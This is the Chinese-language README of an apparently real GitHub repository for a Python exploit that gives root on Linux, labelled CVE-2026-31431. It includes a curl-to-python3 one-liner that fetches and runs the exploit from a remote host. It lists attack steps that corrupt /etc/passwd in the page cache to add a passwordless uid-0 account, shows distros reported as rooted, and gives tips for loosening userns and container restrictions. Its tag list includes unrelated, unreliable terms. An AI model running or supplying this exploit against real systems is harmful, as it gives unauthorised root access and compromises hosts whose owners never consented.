guiimoraes/CVE-2026-31431
GitHub: guiimoraes/CVE-2026-31431
Python 实现的 CVE-2026-31431 本地提权利用工具,通过篡改 /etc/passwd 页缓存实现无需编译的 Linux 本地提权。
Stars: 0 | Forks: 0
# CopyFail2 (CVE-2026-31431) - Python 实现
CopyFail2 内核漏洞利用程序的 Python 移植版,利用 xfrm ESP-in-UDP `MSG_SPLICE_PAGES` 免 COW 快速路径进行非特权 Linux 本地提权。
它将 `/etc/passwd` 中的 nologin/false 条目替换为无密码的 uid-0 用户,并通过 `su` 获取 root shell。
## 漏洞详情
该内核漏洞位于 xfrm ESP-in-UDP 封装所使用的 UDP 拼接路径中。对带有 `MSG_SPLICE_PAGES` 标志的 UDP socket 调用 `splice()` 会导致页面被映射到接收者的页面缓存中,而不会触发写时复制。这允许向页面缓存中当前映射的任何文件写入数据,即使该文件是以只读方式打开的。
- 原始 C 语言实现:[0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo](https://github.com/0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo)
- 上游修复:[netdev/net.git](https://git.kernel.org/pub/scm/linux/kernel/git/netdev/net.git/commit/?id=f4c50a4034e62ab75f1d5cdd191dd5f9c77fdff4)
## 环境要求
- Linux kernel >= 6.5(支持 `MSG_SPLICE_PAGES` UDP)
- `libcrypto.so` (OpenSSL)
- Python 3.8+
- `CAP_NET_ADMIN` 或具备创建用户命名空间的能力
## 版本选择
本仓库提供了两个版本。两者的最终效果相同;请根据你的实际限制进行选择。
| 文件 | 描述 | 速度 | 适用场景 |
|------|-------------|-------|----------|
| `exploit.py` | **优化版** — 在多次修改之间复用 xfrm 状态/sockets/pipe,每轮批量处理 2 个连续字节,使用主动轮询代替固定休眠。 | 99 字节的行约需 3–8 秒 | 默认选择。快速、稳定,已在多个发行版上测试。 |
| `exploit_raw.py` | **参考版** — 最接近原始 C 代码。**每个字节**都会重新创建 xfrm 状态、sockets、pipe 和临时文件,每次修改固定休眠 200 毫秒。 | 99 字节的行约需 30–40 秒 | 如果你需要最简单的代码路径以便审计,或者优化版在特定的内核版本上表现异常时使用。 |
### 快速开始(优化版)
```
# 通过 pipe 的单行命令
python3 -c "$(curl -sL https://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit.py)"
# 已保存的文件
python3 exploit.py
# Revert changes
python3 exploit.py --clean
```
### 快速开始(参考版)
```
python3 exploit_raw.py
python3 exploit_raw.py --clean
```
在启用了 `apparmor_restrict_unprivileged_userns` 的 Ubuntu 上,请先将文件保存到磁盘并从磁盘运行;管道模式会跳过 AppArmor 的绕过流程。
```
curl -sL ttps://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit.py > /tmp/x.py
python3 /tmp/x.py
```
## 工作原理
1. 暴力破解 AES-GCM IV,使其密钥流字节与原始 `/etc/passwd` 字节进行异或运算后得到所需的值。
2. 在 `127.0.0.1:4500` 上安装本地 xfrm ESP-in-UDP 状态。
3. 构造一个攻击者控制的后备文件,其中包含伪造的 ESP 头部和 ICV。
4. 将三个范围(ESP 头部、来自 `/etc/passwd` 的目标字节、ICV)通过 `splice()` 拼接到 pipe 中。
5. 通过 `splice()` 将 pipe 拼接到 UDP socket,触发内核漏洞并将该字节写入页面缓存。
6. 对每个存在差异的字节重复上述操作,将 `nologin`/`false` 行覆盖为 `sick::0:0:...:/:/bin/bash`。
7. 执行 `su - sick` 即可获取 root 权限(PAM 的 `nullok` 模块允许空密码登录)。
## 测试结果
| 发行版 | 内核版本 | 结果 |
|-------------------|---------------------------|--------|
| Ubuntu 24.04 LTS | 6.8.0-110-generic | root |
| Debian 13 | 6.12.74 | root |
| Arch | 6.19.11-arch1-1 | root |
| Fedora 43 | 6.19.14-200.fc43 | root |
| Ubuntu 26.04 LTS | 7.0.0-15-generic | root |
| Ubuntu 22.04 LTS | 5.15.0-176-generic | 不受此漏洞影响 |
## 故障排除
**`无法获取 CAP_NET_ADMIN`**
你的内核可能设置了 `kernel.unprivileged_userns_clone=0`。请启用它:
```
sudo sysctl kernel.unprivileged_userns_clone=1
```
如果在 Docker 内部运行,请使用 `--privileged` 或 `--cap-add=SYS_ADMIN` 启动容器。
## 致谢
- Hyunwoo Kim (imv4bel) 和 Kuan-Ting Chen — 漏洞发现与上游修复
- Steffen Klassert — IPsec 维护者,发布了修复补丁
- Brad Spengler / grsecurity — 提出了 "copyfail-class" 这一概念
- Theori / Xint — 原始 Copy Fail (CVE-2026-31431)
- 原始 C 语言漏洞利用程序由 0xdeadbeefnetwork 开发
- Python 版漏洞利用程序由 guiimoraes 开发
## 免责声明
本工具仅供授权的安全研究和教育目的使用。请勿在你未拥有或未获得明确测试许可的系统上使用。作者对因滥用本软件或由此造成的任何损害不承担任何责任。
标签:CopyFail2, COW绕过, CSV导出, CVE-2026-31431, ESP-in-UDP, etc/passwd修改, Hpfeeds, Linux 6.5, Linux漏洞利用, LPE, MSG_SPLICE_PAGES, Offensive Security, OpenSSL, Python安全工具, Root提权, UID 0, Web报告查看器, xfrm, 内核漏洞, 安全测试工具, 安全渗透, 数据展示, 本地提权, 本地权限提升, 漏洞复现, 系统调用, 红队, 缓冲区溢出, 网络安全, 逆向工具, 隐私保护, 零依赖, 页面缓存